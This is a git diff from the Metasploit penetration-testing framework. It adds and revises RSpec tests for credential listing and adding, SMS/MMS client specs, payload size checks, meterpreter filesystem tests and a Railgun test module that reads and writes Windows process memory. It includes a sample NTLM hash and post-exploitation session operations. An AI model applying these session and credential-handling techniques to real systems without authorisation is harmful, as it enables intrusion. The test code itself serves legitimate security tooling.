nothing for a non-matching regular expression' do + creds.cmd_creds('-u', "^#{nomatch_username}$") + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + + context 'and when the username is blank' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-u', blank_username) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' nonblank_pass Password' + ]) + end + end + context 'and when the password is blank' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-P', blank_password) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' nonblank_user Password' + ]) + end + end + end + + context 'when the credential is absent' do + context 'due to a nonmatching username' do + it 'should return a blank set' do + creds.cmd_creds('-u', nomatch_username) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + end + context 'due to a nonmatching password' do + it 'should return a blank set' do + creds.cmd_creds('-P', nomatch_password) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + end + end + end + + describe '-t' do + context 'with an invalid type' do + it 'should print the list of valid types' do + creds.cmd_creds('-t', 'asdf') + expect(@error).to match_array [ + 'Unrecognized credential type asdf -- must be one of password,ntlm,hash' ] end end - end - end - describe 'add' do - let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } - let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + context 'with valid types' do + let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } - context 'username password and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: pub, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username and password' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'password and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: pub, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'private_types' do - context 'password' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "password:#{password}") - }.to change { Metasploit::Credential::Core.count }.by 1 + let!(:pub) do + FactoryGirl.create(:metasploit_credential_username, username: username) end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "password:#{password}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'ntlm' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "ntlm:#{priv.data}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "ntlm:#{priv.data}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'hash' do - let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "hash:#{priv.data}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "hash:#{priv.data}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'ssh-key' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } - before(:each) do - @file = Tempfile.new('id_rsa') - @file.write(priv.data) - @file.close - end - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do + let!(:password_core) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) FactoryGirl.create(:metasploit_credential_core, origin: FactoryGirl.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: nil, workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") - }.to_not change { Metasploit::Credential::Core.count } + end + + # # Somehow this is hitting a unique constraint on Cores with the same + # # Public, even though it has a different Private. Skip for now + # let!(:ntlm_core) do + # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) + # FactoryGirl.create(:metasploit_credential_core, + # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # private: priv, + # public: pub, + # realm: nil, + # workspace: framework.db.workspace) + # end + # let!(:nonreplayable_core) do + # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') + # FactoryGirl.create(:metasploit_credential_core, + # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # private: priv, + # public: pub, + # realm: nil, + # workspace: framework.db.workspace) + # end + + after(:example) do + # ntlm_core.destroy + password_core.destroy + # nonreplayable_core.destroy + end + + context 'password' do + it 'should show just the password' do + creds.cmd_creds('-t', 'password') + # Table matching really sucks + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + end + + context 'ntlm' do + it 'should show just the ntlm' do + skip 'Weird uniqueness constraint on Core (workspace_id, public_id)' + + creds.cmd_creds('-t', 'ntlm') + # Table matching really sucks + expect(@output).to =~ [ + 'Credentials', + '===========', + '', + 'host service public private realm private_type', + '---- ------- ------ ------- ----- ------------', + " thisuser #{ntlm_hash} NTLM hash" + ] + end end end end - - context 'realm-types' do - Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| - context "#{short_name}" do - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + end + describe 'Adding' do + let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } + let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } + let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + context 'Cores with public privates and realms' do + context 'username password and realm' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'username and realm' do it 'creates a core if one does not exist' do expect { - creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: nil, - realm: r, - workspace: framework.db.workspace) + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: pub, + realm: r, + workspace: framework.db.workspace) expect { - creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'username and password' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'password and realm' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'username' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'private_types' do + context 'password' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "password:#{password}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "password:#{password}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'ntlm' do + let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "ntlm:#{priv.data}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "ntlm:#{priv.data}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'hash' do + let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "hash:#{priv.data}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "hash:#{priv.data}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'ssh-key' do + let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } + before(:each) do + @file = Tempfile.new('id_rsa') + @file.write(priv.data) + @file.close + end + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") }.to_not change { Metasploit::Credential::Core.count } end end end + context 'realm-types' do + Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| + context "#{short_name}" do + let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: nil, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + end + end + end + context 'Cores with Logins' do + let(:address) { '192.168.0.1' } + let(:port) { 80 } + let(:proto) { 'tcp' } + let(:name) { 'Web Service' } + context 'With valid params' do + let(:create_core_with_login) { + creds.cmd_creds( + 'add', "user:#{username}", "password:#{password}", "realm:#{realm}", + "address:#{address}", "port:#{port}", "protocol:#{proto}", "service-name:#{name}") + } + it 'creates a core' do + expect { create_core_with_login }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'creates a login' do + expect { create_core_with_login }.to change { Metasploit::Credential::Login.count }.by 1 + end + it 'creates a service' do + expect { create_core_with_login }.to change { Mdm::Service.count }.by 1 + end + it 'creates a host' do + expect { create_core_with_login }.to change { Mdm::Host.count }.by 1 + end + end + end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 1497ebaa9e..22f38ffc5f 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -26,11 +26,12 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do it "should parse valid raw data into a packet object" do while @raw.length >0 - parsed_packet = parser.recv(@sock) + parsed_packet, in_progress = parser.recv(@sock) end expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST expect(parsed_packet.method?("test_method")).to eq true + expect(in_progress).to eq false end end diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb new file mode 100644 index 0000000000..256c66775f --- /dev/null +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:attachment) { 'file.jpg' } + + let(:file_content) { 'content' } + + let(:subject) { 'subject' } + + let(:ctype) { 'ctype' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Mms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Mms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_mms_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + allow(File).to receive(:read).and_return(file_content) + end + + it 'sends an mms message' do + subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype) + expect(@sent_message).to include('MIME-Version: 1.0') + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb new file mode 100644 index 0000000000..61afbac436 --- /dev/null +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -0,0 +1,62 @@ +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Message do + + let(:message) { 'message' } + let(:content_type) { 'ctype' } + let(:attachment) { 'filepath.jpg' } + let(:filecontent) { 'file content' } + let(:from) { 'sender@example.com' } + let(:to) { 'receiver@example.com' } + let(:mms_subject) { 'subject' } + + before(:each) do + allow(File).to receive(:read).and_return(filecontent) + end + + subject do + described_class.new( + from: from, + to: to, + subject: mms_subject, + message: message, + content_type: content_type, + attachment_path: attachment + ) + end + + describe '#initialize' do + it 'sets message' do + expect(subject.message).to eq(message) + end + + it 'sets content type' do + expect(subject.content_type).to eq(content_type) + end + + it 'sets attachment path' do + expect(subject.attachment).to eq('ZmlsZSBjb250ZW50') + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets to' do + expect(subject.to).to eq(to) + end + + it 'sets subject' do + expect(subject.subject).to eq(mms_subject) + end + end + + describe '#to_s' do + it 'returns the mms message' do + expect(subject.to_s).to include('MIME-Version: 1.0') + + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/smtp_spec.rb b/spec/lib/rex/proto/mms/model/smtp_spec.rb new file mode 100644 index 0000000000..adcc06bb5b --- /dev/null +++ b/spec/lib/rex/proto/mms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Mms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end diff --git a/spec/lib/rex/proto/sms/client_spec.rb b/spec/lib/rex/proto/sms/client_spec.rb new file mode 100644 index 0000000000..688435497f --- /dev/null +++ b/spec/lib/rex/proto/sms/client_spec.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Sms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Sms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_text_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + end + + it 'sends a text message' do + subject.send_text_to_phones(phone_numbers, message) + expect(@sent_message).to eq(message) + end + end + +end diff --git a/spec/lib/rex/proto/sms/model/smtp_spec.rb b/spec/lib/rex/proto/sms/model/smtp_spec.rb new file mode 100644 index 0000000000..48b7a2b9bb --- /dev/null +++ b/spec/lib/rex/proto/sms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Sms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 16b4389bbd..53a4f7ae1c 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -45,6 +45,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'aix/ppc/shell_reverse_tcp' end + context 'android/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/android/meterpreter_reverse_https' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter_reverse_https' + end + context 'android/meterpreter_reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index ca69d1013b..df4ca7fa63 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Post )) register_options( [ + OptBool.new("AddEntropy" , [false, "Add entropy token to file and directory names.", false]), OptString.new("BaseFileName" , [true, "File/dir base name", "meterpreter-test"]) ], self.class) end @@ -132,7 +133,12 @@ class MetasploitModule < Msf::Post def test_fs vprint_status("Starting filesystem tests") - + if datastore["AddEntropy"] + entropy_value = '-' + ('a'..'z').to_a.shuffle[0,8].join + else + entropy_value = "" + end + it "should return the proper directory separator" do sysinfo = session.sys.config.sysinfo if sysinfo["OS"] =~ /windows/i @@ -167,7 +173,8 @@ class MetasploitModule < Msf::Post end it "should create and remove a dir" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) if (res) @@ -180,7 +187,8 @@ class MetasploitModule < Msf::Post end it "should change directories" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) @@ -208,7 +216,8 @@ class MetasploitModule < Msf::Post it "should create and remove files" do res = true - file_name = datastore["BaseFileName"] + file_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("File Name: #{file_name}") res &&= session.fs.file.open(file_name, "wb") { |fd| fd.write("test") } @@ -228,7 +237,8 @@ class MetasploitModule < Msf::Post it "should upload a file" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) @@ -254,8 +264,10 @@ class MetasploitModule < Msf::Post it "should move files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-moved" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-moved" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -279,8 +291,10 @@ class MetasploitModule < Msf::Post it "should copy files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-copied" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-copied" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -304,7 +318,8 @@ class MetasploitModule < Msf::Post it "should do md5 and sha1 of files" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb new file mode 100644 index 0000000000..8c364a4538 --- /dev/null +++ b/test/modules/post/test/railgun.rb @@ -0,0 +1,112 @@ + +require 'msf/core' + +lib = File.join(Msf::Config.install_root, "test", "lib") +require 'module_test' + +class MetasploitModule < Msf::Post + + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Railgun + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Railgun API Tests', + 'Description' => %q{ This module will test railgun api functions}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Spencer McIntyre'], + 'Platform' => [ 'windows' ] + )) + end + + def test_api_function_calls + + it "Should include error information in the results" do + ret = true + result = session.railgun.kernel32.GetCurrentProcess() + ret &&= result['GetLastError'] == 0 + ret &&= result['ErrorMessage'].is_a? String + end + + it "Should support functions with no parameters" do + ret = true + result = session.railgun.kernel32.GetCurrentThread() + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + end + + it "Should support functions with literal parameters" do + ret = true + result = session.railgun.kernel32.Sleep(50) + ret &&= result['GetLastError'] == 0 + end + + it "Should support functions with in/out/inout parameter types" do + ret = true + # DnsHostnameToComputerNameA is ideal because it uses all 3 types see: + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724244(v=vs.85).aspx + result = session.railgun.kernel32.DnsHostnameToComputerNameA('localhost', 64, 64) + ret &&= result['GetLastError'] == 0 + ret &&= result['ComputerName'].is_a? String + ret &&= result['nSize'].to_i == result['ComputerName'].length + end + + it "Should support calling multiple functions at once" do + ret = true + multi_rail = [ + ['kernel32', 'LoadLibraryA', ['kernel32.dll']], + ['kernel32', 'GetModuleHandleA', ['kernel32.dll']], + ['kernel32', 'GetCurrentProcessId', []] + ] + results = session.railgun.multi(multi_rail) + ret &&= results.length == multi_rail.length + results.each do |result| + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + end + + # LoadLibraryA('kernel32.dll') == GetModuleHandleA('kernel32.dll') + ret &&= results[0]['return'] == results[1]['return'] + ret &&= results[2]['return'] == session.sys.process.getpid + end + + it "Should support reading memory" do + ret = true + result = client.railgun.kernel32.GetModuleHandleA('kernel32') + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + handle = result['return'] + mz_header = client.railgun.memread(handle, 4) + ret &&= mz_header == "MZ\x90\x00" + end + + it "Should support writing memory" do + ret = true + result = client.railgun.kernel32.GetProcessHeap() + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + buffer_size = 32 + handle = result['return'] + result = client.railgun.kernel32.HeapAlloc(handle, 0, buffer_size) + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + buffer_value = Rex::Text.rand_text_alphanumeric(buffer_size) + buffer = result['return'] + ret &&= client.railgun.memwrite(buffer, buffer_value, buffer_size) + ret &&= client.railgun.memread(buffer, buffer_size) == buffer_value + + client.railgun.kernel32.HeapFree(handle, 0, buffer) + ret + end + + end + +end + + diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index f61892baa2..1a1dd31912 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -618,7 +618,7 @@ class Msftidy end def check_vars_get - test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) + test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? test.each { |item| info("Please use vars_get in send_request_cgi: #{item}") diff --git a/tools/hardware/killerbee_msfrelay b/tools/hardware/killerbee_msfrelay new file mode 100755 index 0000000000..e3403f54cc --- /dev/null +++ b/tools/hardware/killerbee_msfrelay @@ -0,0 +1,251 @@ +#!/usr/bin/env python +# KillerBee Metasploit relay server + +import re +import os +import sys +import cmd +import time +import json +import base64 